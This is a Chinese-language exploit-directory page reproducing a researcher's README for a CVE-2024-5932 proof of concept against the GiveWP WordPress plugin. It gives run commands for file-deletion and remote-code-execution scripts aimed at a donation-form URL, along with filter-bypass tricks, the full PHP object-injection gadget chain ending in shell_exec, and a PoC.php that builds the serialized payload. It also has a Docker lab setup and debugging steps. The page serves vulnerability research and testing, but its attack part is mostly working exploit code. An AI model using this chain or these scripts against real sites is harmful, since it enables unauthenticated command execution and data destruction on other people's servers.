Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-5932 — GiveWP PHP Object Injection exploit | Kitploit
工具/GitHubGitHub/eqstlab/cve-2024-5932
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

GiveWP PHP Object Injection exploit

查看仓库
78101年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这篇帖子是 EQSTLab 发布的研究文章。

❗❗ 重要 ❗❗

目前存在运行 xmrig 的虚假 PoC GitHub 仓库。请查看下方链接获取更多信息:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 任意文件删除与 RCE PoC ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

时间线

8月25日:上传了 CVE-2024-5932 文件删除 PoC

8月26日:我们已成功通过 CVE-2024-5932 执行任意命令,但考虑到影响正在斟酌是否披露。

8月27日:我们在 RCE Security 的 Julien Ahrens 的帖子中发现了 PoC 的详细分析,决定发布我们的 RCE PoC。我们额外上传了一个 RCE PoC,文件名为 CVE-2024-5932-rce.py。

描述

CVE-2024-5932:GiveWP PHP 对象注入漏洞 描述:WordPress 的 GiveWP 捐赠插件和筹款平台插件在所有版本(包括 3.14.1)中均存在 PHP 对象注入漏洞,该漏洞源于对来自 'give_title' 参数的不可信输入进行反序列化。这使得未经身份验证的攻击者能够注入 PHP 对象。此外,POP 链的存在使得攻击者能够远程执行代码并删除任意文件。

使用方法

Git 克隆

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

安装依赖包

root@kitploit:~
pip install -r requirements.txt

命令

root@kitploit:~
# 任意文件删除
python CVE-2024-5932.py -u <要利用的URL(捐赠表单URL)> -f <要删除的文件>
# 远程代码执行
python CVE-2024-5932-rce.py -u <要利用的URL(捐赠表单URL)> -c <要执行的命令>

示例

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

输出

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

结果

image 2

漏洞环境

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 然后下载存在漏洞的 GiveWP 插件:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. 解压 GiveWP 插件 zip 文件,并将整个文件复制到 “/var/www/html/wp-content/plugins” 目录。

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. 激活 GiveWP 插件

image

5. 使用 GiveWP 插件添加新文章,并复制文章链接

image

6. 检查存在漏洞的链接

image

(可选)在 Docker 环境中设置目标文件

首先,使用以下命令访问 wordpress 的 shell:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

如果文件属于 root,可能因权限问题无法删除。因此,需要使用以下命令更改测试文件的所有权:

root@kitploit:~
touch test && chown www-data test

image

通过 PHPSTORM 调试

你可以使用 PHPSTORM 调试你的 GiveWP。

1. 在你的 wordpress(Docker)中下载 xdebug:

root@kitploit:~
pecl install xdebug

2. 然后像这样设置 wordpress 的 php.ini 文件(Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={你的PHPSTORM地址}
xdebug.client_port={你的PHPSTORM调试端口}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

…然后你就可以调试你的 wordpress 了。

3. 像这样设置 PHPSTORM(本地环境):

image image

4. PHPSTORM 示例(例如 TCPDF 任意文件删除)

image

分析

漏洞点(includes/payments/class-give-payment.php)

在此处,get_meta() 函数反序列化了先前保存的 “give_title” 值。

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

绕过技术

strip_tags:用 \0 替换 null 字节

stripslashes_deep:用 \\\\ 替换反斜杠

用于 RCE 的 POP 链

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1')(返回命令字符串)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

攻击场景

通过 POP 链实现 RCE

POP 链允许远程命令执行。 image

任意文件删除

利用 TCPDF,可以实现任意文件删除。

免责声明

此仓库并非旨在作为 CVE-2024-5932 的对象注入漏洞利用工具。本项目的目的是帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。

EQST Insight

我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请点击下方链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do

参考

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

下载工具